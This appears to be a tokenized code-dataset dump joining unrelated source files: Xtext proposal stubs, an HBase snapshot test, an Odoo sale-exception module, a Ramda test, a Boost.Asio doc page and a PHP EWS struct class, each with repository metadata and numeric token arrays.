public void complete_XBlockExpression(EObject model, RuleCall ruleCall, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
// subclasses may override
}
public void complete_XSwitchExpression(EObject model, RuleCall ruleCall, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
// subclasses may override
}
public void complete_OpSingleAssign(EObject model, RuleCall ruleCall, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
// subclasses may override
}
public void complete_OpEquality(EObject model, RuleCall ruleCall, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
// subclasses may override
}
public void complete_OpCompare(EObject model, RuleCall ruleCall, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
// subclasses may override
}
public void complete_OpUnary(EObject model, RuleCall ruleCall, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
// subclasses may override
}
public void complete_OpOr(EObject model, RuleCall ruleCall, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
// subclasses may override
}
public void complete_OpAnd(EObject model, RuleCall ruleCall, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
// subclasses may override
}
public void complete_COMMENT(EObject model, RuleCall ruleCall, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
// subclasses may override
}
}
| debabratahazra/DS | designstudio/components/workbench/ui/com.odcgroup.workbench.el.ui/src-gen/com/odcgroup/workbench/el/ui/contentassist/AbstractDSELProposalProvider.java | Java | epl-1.0 | 3,430 | [
30522,
1013,
1008,
1008,
7013,
2011,
1060,
18209,
1008,
1013,
7427,
4012,
1012,
1051,
16409,
17058,
1012,
2147,
10609,
2818,
1012,
3449,
1012,
21318,
1012,
4180,
12054,
2923,
1025,
12324,
8917,
1012,
13232,
1012,
7861,
2546,
1012,
17338,
28... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.hbase.client;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.FileSystem;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.hbase.HBaseTestingUtility;
import org.apache.hadoop.hbase.HColumnDescriptor;
import org.apache.hadoop.hbase.HConstants;
import org.apache.hadoop.hbase.HTableDescriptor;
import org.apache.hadoop.hbase.testclassification.MediumTests;
import org.apache.hadoop.hbase.TableName;
import org.apache.hadoop.hbase.io.encoding.DataBlockEncoding;
import org.apache.hadoop.hbase.master.snapshot.SnapshotManager;
import org.apache.hadoop.hbase.regionserver.BloomType;
import org.apache.hadoop.hbase.regionserver.ConstantSizeRegionSplitPolicy;
import org.apache.hadoop.hbase.snapshot.SnapshotTestingUtils;
import org.apache.hadoop.hbase.util.Bytes;
import org.junit.After;
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.experimental.categories.Category;
/**
* Test class to verify that metadata is consistent before and after a snapshot attempt.
*/
@Category(MediumTests.class)
public class TestSnapshotMetadata {
private static final Log LOG = LogFactory.getLog(TestSnapshotMetadata.class);
private static final HBaseTestingUtility UTIL = new HBaseTestingUtility();
private static final int NUM_RS = 2;
private static final String STRING_TABLE_NAME = "TestSnapshotMetadata";
private static final String MAX_VERSIONS_FAM_STR = "fam_max_columns";
private static final byte[] MAX_VERSIONS_FAM = Bytes.toBytes(MAX_VERSIONS_FAM_STR);
private static final String COMPRESSED_FAM_STR = "fam_compressed";
private static final byte[] COMPRESSED_FAM = Bytes.toBytes(COMPRESSED_FAM_STR);
private static final String BLOCKSIZE_FAM_STR = "fam_blocksize";
private static final byte[] BLOCKSIZE_FAM = Bytes.toBytes(BLOCKSIZE_FAM_STR);
private static final String BLOOMFILTER_FAM_STR = "fam_bloomfilter";
private static final byte[] BLOOMFILTER_FAM = Bytes.toBytes(BLOOMFILTER_FAM_STR);
private static final String TEST_CONF_CUSTOM_VALUE = "TestCustomConf";
private static final String TEST_CUSTOM_VALUE = "TestCustomValue";
private static final byte[][] families = {
MAX_VERSIONS_FAM, BLOOMFILTER_FAM, COMPRESSED_FAM, BLOCKSIZE_FAM
};
private static final DataBlockEncoding DATA_BLOCK_ENCODING_TYPE = DataBlockEncoding.FAST_DIFF;
private static final BloomType BLOOM_TYPE = BloomType.ROW;
private static final int BLOCK_SIZE = 98;
private static final int MAX_VERSIONS = 8;
private Admin admin;
private String originalTableDescription;
private HTableDescriptor originalTableDescriptor;
TableName originalTableName;
private static FileSystem fs;
private static Path rootDir;
@BeforeClass
public static void setupCluster() throws Exception {
setupConf(UTIL.getConfiguration());
UTIL.startMiniCluster(NUM_RS);
fs = UTIL.getHBaseCluster().getMaster().getMasterFileSystem().getFileSystem();
rootDir = UTIL.getHBaseCluster().getMaster().getMasterFileSystem().getRootDir();
}
@AfterClass
public static void cleanupTest() throws Exception {
try {
UTIL.shutdownMiniCluster();
} catch (Exception e) {
LOG.warn("failure shutting down cluster", e);
}
}
private static void setupConf(Configuration conf) {
// enable snapshot support
conf.setBoolean(SnapshotManager.HBASE_SNAPSHOT_ENABLED, true);
// disable the ui
conf.setInt("hbase.regionsever.info.port", -1);
// change the flush size to a small amount, regulating number of store files
conf.setInt("hbase.hregion.memstore.flush.size", 25000);
// so make sure we get a compaction when doing a load, but keep around
// some files in the store
conf.setInt("hbase.hstore.compaction.min", 10);
conf.setInt("hbase.hstore.compactionThreshold", 10);
// block writes if we get to 12 store files
conf.setInt("hbase.hstore.blockingStoreFiles", 12);
conf.setInt("hbase.regionserver.msginterval", 100);
conf.setBoolean("hbase.master.enabletable.roundrobin", true);
// Avoid potentially aggressive splitting which would cause snapshot to fail
conf.set(HConstants.HBASE_REGION_SPLIT_POLICY_KEY,
ConstantSizeRegionSplitPolicy.class.getName());
}
@Before
public void setup() throws Exception {
admin = UTIL.getHBaseAdmin();
createTableWithNonDefaultProperties();
}
@After
public void tearDown() throws Exception {
SnapshotTestingUtils.deleteAllSnapshots(admin);
}
/*
* Create a table that has non-default properties so we can see if they hold
*/
private void createTableWithNonDefaultProperties() throws Exception {
final long startTime = System.currentTimeMillis();
final String sourceTableNameAsString = STRING_TABLE_NAME + startTime;
originalTableName = TableName.valueOf(sourceTableNameAsString);
// enable replication on a column family
HColumnDescriptor maxVersionsColumn = new HColumnDescriptor(MAX_VERSIONS_FAM);
HColumnDescriptor bloomFilterColumn = new HColumnDescriptor(BLOOMFILTER_FAM);
HColumnDescriptor dataBlockColumn = new HColumnDescriptor(COMPRESSED_FAM);
HColumnDescriptor blockSizeColumn = new HColumnDescriptor(BLOCKSIZE_FAM);
maxVersionsColumn.setMaxVersions(MAX_VERSIONS);
bloomFilterColumn.setBloomFilterType(BLOOM_TYPE);
dataBlockColumn.setDataBlockEncoding(DATA_BLOCK_ENCODING_TYPE);
blockSizeColumn.setBlocksize(BLOCK_SIZE);
HTableDescriptor htd = new HTableDescriptor(TableName.valueOf(sourceTableNameAsString));
htd.addFamily(maxVersionsColumn);
htd.addFamily(bloomFilterColumn);
htd.addFamily(dataBlockColumn);
htd.addFamily(blockSizeColumn);
htd.setValue(TEST_CUSTOM_VALUE, TEST_CUSTOM_VALUE);
htd.setConfiguration(TEST_CONF_CUSTOM_VALUE, TEST_CONF_CUSTOM_VALUE);
assertTrue(htd.getConfiguration().size() > 0);
admin.createTable(htd);
Table original = new HTable(UTIL.getConfiguration(), originalTableName);
originalTableName = TableName.valueOf(sourceTableNameAsString);
originalTableDescriptor = admin.getTableDescriptor(originalTableName);
originalTableDescription = originalTableDescriptor.toStringCustomizedValues();
original.close();
}
/**
* Verify that the describe for a cloned table matches the describe from the original.
*/
@Test (timeout=300000)
public void testDescribeMatchesAfterClone() throws Exception {
// Clone the original table
final String clonedTableNameAsString = "clone" + originalTableName;
final TableName clonedTableName = TableName.valueOf(clonedTableNameAsString);
final String snapshotNameAsString = "snapshot" + originalTableName
+ System.currentTimeMillis();
final byte[] snapshotName = Bytes.toBytes(snapshotNameAsString);
// restore the snapshot into a cloned table and examine the output
List<byte[]> familiesList = new ArrayList<byte[]>();
Collections.addAll(familiesList, families);
// Create a snapshot in which all families are empty
SnapshotTestingUtils.createSnapshotAndValidate(admin, originalTableName, null,
familiesList, snapshotNameAsString, rootDir, fs, /* onlineSnapshot= */ false);
admin.cloneSnapshot(snapshotName, clonedTableName);
Table clonedTable = new HTable(UTIL.getConfiguration(), clonedTableName);
HTableDescriptor cloneHtd = admin.getTableDescriptor(clonedTableName);
assertEquals(
originalTableDescription.replace(originalTableName.getNameAsString(),clonedTableNameAsString),
cloneHtd.toStringCustomizedValues());
// Verify the custom fields
assertEquals(originalTableDescriptor.getValues().size(),
cloneHtd.getValues().size());
assertEquals(originalTableDescriptor.getConfiguration().size(),
cloneHtd.getConfiguration().size());
assertEquals(cloneHtd.getValue(TEST_CUSTOM_VALUE), TEST_CUSTOM_VALUE);
assertEquals(cloneHtd.getConfigurationValue(TEST_CONF_CUSTOM_VALUE), TEST_CONF_CUSTOM_VALUE);
assertEquals(originalTableDescriptor.getValues(), cloneHtd.getValues());
assertEquals(originalTableDescriptor.getConfiguration(), cloneHtd.getConfiguration());
admin.enableTable(originalTableName);
clonedTable.close();
}
/**
* Verify that the describe for a restored table matches the describe for one the original.
*/
@Test (timeout=300000)
public void testDescribeMatchesAfterRestore() throws Exception {
runRestoreWithAdditionalMetadata(false);
}
/**
* Verify that if metadata changed after a snapshot was taken, that the old metadata replaces the
* new metadata during a restore
*/
@Test (timeout=300000)
public void testDescribeMatchesAfterMetadataChangeAndRestore() throws Exception {
runRestoreWithAdditionalMetadata(true);
}
/**
* Verify that when the table is empty, making metadata changes after the restore does not affect
* the restored table's original metadata
* @throws Exception
*/
@Test (timeout=300000)
public void testDescribeOnEmptyTableMatchesAfterMetadataChangeAndRestore() throws Exception {
runRestoreWithAdditionalMetadata(true, false);
}
private void runRestoreWithAdditionalMetadata(boolean changeMetadata) throws Exception {
runRestoreWithAdditionalMetadata(changeMetadata, true);
}
private void runRestoreWithAdditionalMetadata(boolean changeMetadata, boolean addData)
throws Exception {
if (admin.isTableDisabled(originalTableName)) {
admin.enableTable(originalTableName);
}
// populate it with data
final byte[] familyForUpdate = BLOCKSIZE_FAM;
List<byte[]> familiesWithDataList = new ArrayList<byte[]>();
List<byte[]> emptyFamiliesList = new ArrayList<byte[]>();
if (addData) {
HTable original = new HTable(UTIL.getConfiguration(), originalTableName);
UTIL.loadTable(original, familyForUpdate); // family arbitrarily chosen
original.close();
for (byte[] family : families) {
if (family != familyForUpdate) {
emptyFamiliesList.add(family);
}
}
familiesWithDataList.add(familyForUpdate);
} else {
Collections.addAll(emptyFamiliesList, families);
}
// take a "disabled" snapshot
final String snapshotNameAsString = "snapshot" + originalTableName
+ System.currentTimeMillis();
final byte[] snapshotName = Bytes.toBytes(snapshotNameAsString);
SnapshotTestingUtils.createSnapshotAndValidate(admin, originalTableName,
familiesWithDataList, emptyFamiliesList, snapshotNameAsString, rootDir, fs,
/* onlineSnapshot= */ false);
admin.enableTable(originalTableName);
if (changeMetadata) {
final String newFamilyNameAsString = "newFamily" + System.currentTimeMillis();
final byte[] newFamilyName = Bytes.toBytes(newFamilyNameAsString);
admin.disableTable(originalTableName);
HColumnDescriptor hcd = new HColumnDescriptor(newFamilyName);
admin.addColumn(originalTableName, hcd);
assertTrue("New column family was not added.",
admin.getTableDescriptor(originalTableName).toString().contains(newFamilyNameAsString));
}
// restore it
if (!admin.isTableDisabled(originalTableName)) {
admin.disableTable(originalTableName);
}
admin.restoreSnapshot(snapshotName);
admin.enableTable(originalTableName);
// verify that the descrption is reverted
Table original = new HTable(UTIL.getConfiguration(), originalTableName);
try {
assertTrue(originalTableDescriptor.equals(admin.getTableDescriptor(originalTableName)));
assertTrue(originalTableDescriptor.equals(original.getTableDescriptor()));
} finally {
original.close();
}
}
}
| baishuo/hbase-1.0.0-cdh5.4.7_baishuo | hbase-server/src/test/java/org/apache/hadoop/hbase/client/TestSnapshotMetadata.java | Java | apache-2.0 | 12,842 | [
30522,
1013,
1008,
1008,
1008,
7000,
2000,
1996,
15895,
4007,
3192,
1006,
2004,
2546,
1007,
2104,
2028,
1008,
2030,
2062,
12130,
6105,
10540,
1012,
2156,
1996,
5060,
5371,
1008,
5500,
2007,
2023,
2147,
2005,
3176,
2592,
1008,
4953,
9385,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
# -*- coding: utf-8 -*-
# © 2011 Raphaël Valyi, Renato Lima, Guewen Baconnier, Sodexis
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
from odoo import api, models, fields
class ExceptionRule(models.Model):
_inherit = 'exception.rule'
rule_group = fields.Selection(
selection_add=[('sale', 'Sale')],
)
model = fields.Selection(
selection_add=[
('sale.order', 'Sale order'),
('sale.order.line', 'Sale order line'),
])
class SaleOrder(models.Model):
_inherit = ['sale.order', 'base.exception']
_name = 'sale.order'
_order = 'main_exception_id asc, date_order desc, name desc'
rule_group = fields.Selection(
selection_add=[('sale', 'Sale')],
default='sale',
)
@api.model
def test_all_draft_orders(self):
order_set = self.search([('state', '=', 'draft')])
order_set.test_exceptions()
return True
@api.constrains('ignore_exception', 'order_line', 'state')
def sale_check_exception(self):
orders = self.filtered(lambda s: s.state == 'sale')
if orders:
orders._check_exception()
@api.onchange('order_line')
def onchange_ignore_exception(self):
if self.state == 'sale':
self.ignore_exception = False
@api.multi
def action_confirm(self):
if self.detect_exceptions():
return self._popup_exceptions()
else:
return super(SaleOrder, self).action_confirm()
@api.multi
def action_draft(self):
res = super(SaleOrder, self).action_draft()
orders = self.filtered(lambda s: s.ignore_exception)
orders.write({
'ignore_exception': False,
})
return res
def _sale_get_lines(self):
self.ensure_one()
return self.order_line
@api.model
def _get_popup_action(self):
action = self.env.ref('sale_exception.action_sale_exception_confirm')
return action
| kittiu/sale-workflow | sale_exception/models/sale.py | Python | agpl-3.0 | 2,008 | [
30522,
1001,
1011,
1008,
1011,
16861,
1024,
21183,
2546,
1011,
1022,
1011,
1008,
1011,
1001,
1075,
2249,
12551,
11748,
10139,
1010,
14916,
10610,
12967,
1010,
19739,
7974,
2368,
11611,
14862,
1010,
2061,
3207,
9048,
2015,
1001,
6105,
12943,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
var assert = require('assert');
var R = require('..');
describe('mapObjIndexed', function() {
var times2 = function(x) {return x * 2;};
var addIndexed = function(x, key) {return x + key;};
var squareVowels = function(x, key) {
var vowels = ['a', 'e', 'i', 'o', 'u'];
return R.contains(key, vowels) ? x * x : x;
};
it('works just like a normal mapObj', function() {
assert.deepEqual(R.mapObjIndexed(times2, {a: 1, b: 2, c: 3, d: 4}), {a: 2, b: 4, c: 6, d: 8});
});
it('passes the index as a second parameter to the callback', function() {
assert.deepEqual(R.mapObjIndexed(addIndexed, {a: 8, b: 6, c: 7, d: 5, e: 3, f: 0, g: 9}),
{a: '8a', b: '6b', c: '7c', d: '5d', e: '3e', f: '0f', g: '9g'});
});
it('passes the entire list as a third parameter to the callback', function() {
assert.deepEqual(R.mapObjIndexed(squareVowels, {a: 8, b: 6, c: 7, d: 5, e: 3, f: 0, g: 9}),
{a: 64, b: 6, c: 7, d: 5, e: 9, f: 0, g: 9});
});
it('is curried', function() {
var makeSquareVowels = R.mapObjIndexed(squareVowels);
assert.deepEqual(makeSquareVowels({a: 8, b: 6, c: 7, d: 5, e: 3, f: 0, g: 9}),
{a: 64, b: 6, c: 7, d: 5, e: 9, f: 0, g: 9});
});
});
| syves/ramda | test/mapObjIndexed.js | JavaScript | mit | 1,258 | [
30522,
13075,
20865,
1027,
5478,
1006,
1005,
20865,
1005,
1007,
1025,
13075,
1054,
1027,
5478,
1006,
1005,
1012,
1012,
1005,
1007,
1025,
6235,
1006,
1005,
4949,
16429,
14642,
3207,
19068,
1005,
1010,
3853,
1006,
1007,
1063,
13075,
2335,
247... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>basic_raw_socket::endpoint_type</title>
<link rel="stylesheet" href="../../../../../doc/src/boostbook.css" type="text/css">
<meta name="generator" content="DocBook XSL Stylesheets V1.79.1">
<link rel="home" href="../../../boost_asio.html" title="Boost.Asio">
<link rel="up" href="../basic_raw_socket.html" title="basic_raw_socket">
<link rel="prev" href="enable_connection_aborted.html" title="basic_raw_socket::enable_connection_aborted">
<link rel="next" href="executor_type.html" title="basic_raw_socket::executor_type">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table cellpadding="2" width="100%"><tr>
<td valign="top"><img alt="Boost C++ Libraries" width="277" height="86" src="../../../../../boost.png"></td>
<td align="center"><a href="../../../../../index.html">Home</a></td>
<td align="center"><a href="../../../../../libs/libraries.htm">Libraries</a></td>
<td align="center"><a href="http://www.boost.org/users/people.html">People</a></td>
<td align="center"><a href="http://www.boost.org/users/faq.html">FAQ</a></td>
<td align="center"><a href="../../../../../more/index.htm">More</a></td>
</tr></table>
<hr>
<div class="spirit-nav">
<a accesskey="p" href="enable_connection_aborted.html"><img src="../../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="../basic_raw_socket.html"><img src="../../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="../../../boost_asio.html"><img src="../../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="executor_type.html"><img src="../../../../../doc/src/images/next.png" alt="Next"></a>
</div>
<div class="section">
<div class="titlepage"><div><div><h4 class="title">
<a name="boost_asio.reference.basic_raw_socket.endpoint_type"></a><a class="link" href="endpoint_type.html" title="basic_raw_socket::endpoint_type">basic_raw_socket::endpoint_type</a>
</h4></div></div></div>
<p>
<a class="indexterm" name="boost_asio.indexterm.basic_raw_socket.endpoint_type"></a>
The
endpoint type.
</p>
<pre class="programlisting">typedef Protocol::endpoint endpoint_type;
</pre>
<h6>
<a name="boost_asio.reference.basic_raw_socket.endpoint_type.h0"></a>
<span class="phrase"><a name="boost_asio.reference.basic_raw_socket.endpoint_type.requirements"></a></span><a class="link" href="endpoint_type.html#boost_asio.reference.basic_raw_socket.endpoint_type.requirements">Requirements</a>
</h6>
<p>
<span class="emphasis"><em>Header: </em></span><code class="literal">boost/asio/basic_raw_socket.hpp</code>
</p>
<p>
<span class="emphasis"><em>Convenience header: </em></span><code class="literal">boost/asio.hpp</code>
</p>
</div>
<table xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" width="100%"><tr>
<td align="left"></td>
<td align="right"><div class="copyright-footer">Copyright © 2003-2021 Christopher
M. Kohlhoff<p>
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at <a href="http://www.boost.org/LICENSE_1_0.txt" target="_top">http://www.boost.org/LICENSE_1_0.txt</a>)
</p>
</div></td>
</tr></table>
<hr>
<div class="spirit-nav">
<a accesskey="p" href="enable_connection_aborted.html"><img src="../../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="../basic_raw_socket.html"><img src="../../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="../../../boost_asio.html"><img src="../../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="executor_type.html"><img src="../../../../../doc/src/images/next.png" alt="Next"></a>
</div>
</body>
</html>
| davehorton/drachtio-server | deps/boost_1_77_0/doc/html/boost_asio/reference/basic_raw_socket/endpoint_type.html | HTML | mit | 3,837 | [
30522,
1026,
16129,
1028,
1026,
2132,
1028,
1026,
18804,
8299,
1011,
1041,
15549,
2615,
1027,
1000,
4180,
1011,
2828,
1000,
4180,
1027,
1000,
3793,
1013,
16129,
1025,
25869,
13462,
1027,
21183,
2546,
1011,
1022,
1000,
1028,
1026,
2516,
1028... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
declare(strict_types=1);
namespace StructType;
use InvalidArgumentException;
use WsdlToPhp\PackageBase\AbstractStructBase;
/**
* This class stands for GetRemindersType StructType
* @package Ews
* @subpackage Structs
* @author WsdlToPhp <contact@wsdltophp.com>
*/
class EwsGetRemindersType extends EwsBaseRequestType
{
/**
* The BeginTime
* Meta information extracted from the WSDL
* - maxOccurs: 1
* - minOccurs: 0
* @var string|null
*/
protected ?string $BeginTime = null;
/**
* The EndTime
* Meta information extracted from the WSDL
* - maxOccurs: 1
* - minOccurs: 0
* @var string|null
*/
protected ?string $EndTime = null;
/**
* The MaxItems
* Meta information extracted from the WSDL
* - base: xs:int
* - maxInclusive: 200
* - maxOccurs: 1
* - minInclusive: 0
* - minOccurs: 0
* @var int|null
*/
protected ?int $MaxItems = null;
/**
* The ReminderType
* Meta information extracted from the WSDL
* - maxOccurs: 1
* - minOccurs: 0
* @var \StructType\EwsReminderType|null
*/
protected ?\StructType\EwsReminderType $ReminderType = null;
/**
* Constructor method for GetRemindersType
* @uses EwsGetRemindersType::setBeginTime()
* @uses EwsGetRemindersType::setEndTime()
* @uses EwsGetRemindersType::setMaxItems()
* @uses EwsGetRemindersType::setReminderType()
* @param string $beginTime
* @param string $endTime
* @param int $maxItems
* @param \StructType\EwsReminderType $reminderType
*/
public function __construct(?string $beginTime = null, ?string $endTime = null, ?int $maxItems = null, ?\StructType\EwsReminderType $reminderType = null)
{
$this
->setBeginTime($beginTime)
->setEndTime($endTime)
->setMaxItems($maxItems)
->setReminderType($reminderType);
}
/**
* Get BeginTime value
* @return string|null
*/
public function getBeginTime(): ?string
{
return $this->BeginTime;
}
/**
* Set BeginTime value
* @param string $beginTime
* @return \StructType\EwsGetRemindersType
*/
public function setBeginTime(?string $beginTime = null): self
{
// validation for constraint: string
if (!is_null($beginTime) && !is_string($beginTime)) {
throw new InvalidArgumentException(sprintf('Invalid value %s, please provide a string, %s given', var_export($beginTime, true), gettype($beginTime)), __LINE__);
}
$this->BeginTime = $beginTime;
return $this;
}
/**
* Get EndTime value
* @return string|null
*/
public function getEndTime(): ?string
{
return $this->EndTime;
}
/**
* Set EndTime value
* @param string $endTime
* @return \StructType\EwsGetRemindersType
*/
public function setEndTime(?string $endTime = null): self
{
// validation for constraint: string
if (!is_null($endTime) && !is_string($endTime)) {
throw new InvalidArgumentException(sprintf('Invalid value %s, please provide a string, %s given', var_export($endTime, true), gettype($endTime)), __LINE__);
}
$this->EndTime = $endTime;
return $this;
}
/**
* Get MaxItems value
* @return int|null
*/
public function getMaxItems(): ?int
{
return $this->MaxItems;
}
/**
* Set MaxItems value
* @param int $maxItems
* @return \StructType\EwsGetRemindersType
*/
public function setMaxItems(?int $maxItems = null): self
{
// validation for constraint: int
if (!is_null($maxItems) && !(is_int($maxItems) || ctype_digit($maxItems))) {
throw new InvalidArgumentException(sprintf('Invalid value %s, please provide an integer value, %s given', var_export($maxItems, true), gettype($maxItems)), __LINE__);
}
// validation for constraint: maxInclusive(200)
if (!is_null($maxItems) && $maxItems > 200) {
throw new InvalidArgumentException(sprintf('Invalid value %s, the value must be numerically less than or equal to 200', var_export($maxItems, true)), __LINE__);
}
// validation for constraint: minInclusive
if (!is_null($maxItems) && $maxItems < 0) {
throw new InvalidArgumentException(sprintf('Invalid value %s, the value must be numerically greater than or equal to 0', var_export($maxItems, true)), __LINE__);
}
$this->MaxItems = $maxItems;
return $this;
}
/**
* Get ReminderType value
* @return \StructType\EwsReminderType|null
*/
public function getReminderType(): ?\StructType\EwsReminderType
{
return $this->ReminderType;
}
/**
* Set ReminderType value
* @param \StructType\EwsReminderType $reminderType
* @return \StructType\EwsGetRemindersType
*/
public function setReminderType(?\StructType\EwsReminderType $reminderType = null): self
{
$this->ReminderType = $reminderType;
return $this;
}
}
| WsdlToPhp/PackageEws365 | src/StructType/EwsGetRemindersType.php | PHP | mit | 5,223 | [
30522,
1026,
1029,
25718,
13520,
1006,
9384,
1035,
4127,
1027,
1015,
1007,
1025,
3415,
15327,
2358,
6820,
6593,
13874,
1025,
2224,
19528,
2906,
22850,
15781,
2595,
24422,
1025,
2224,
1059,
16150,
23223,
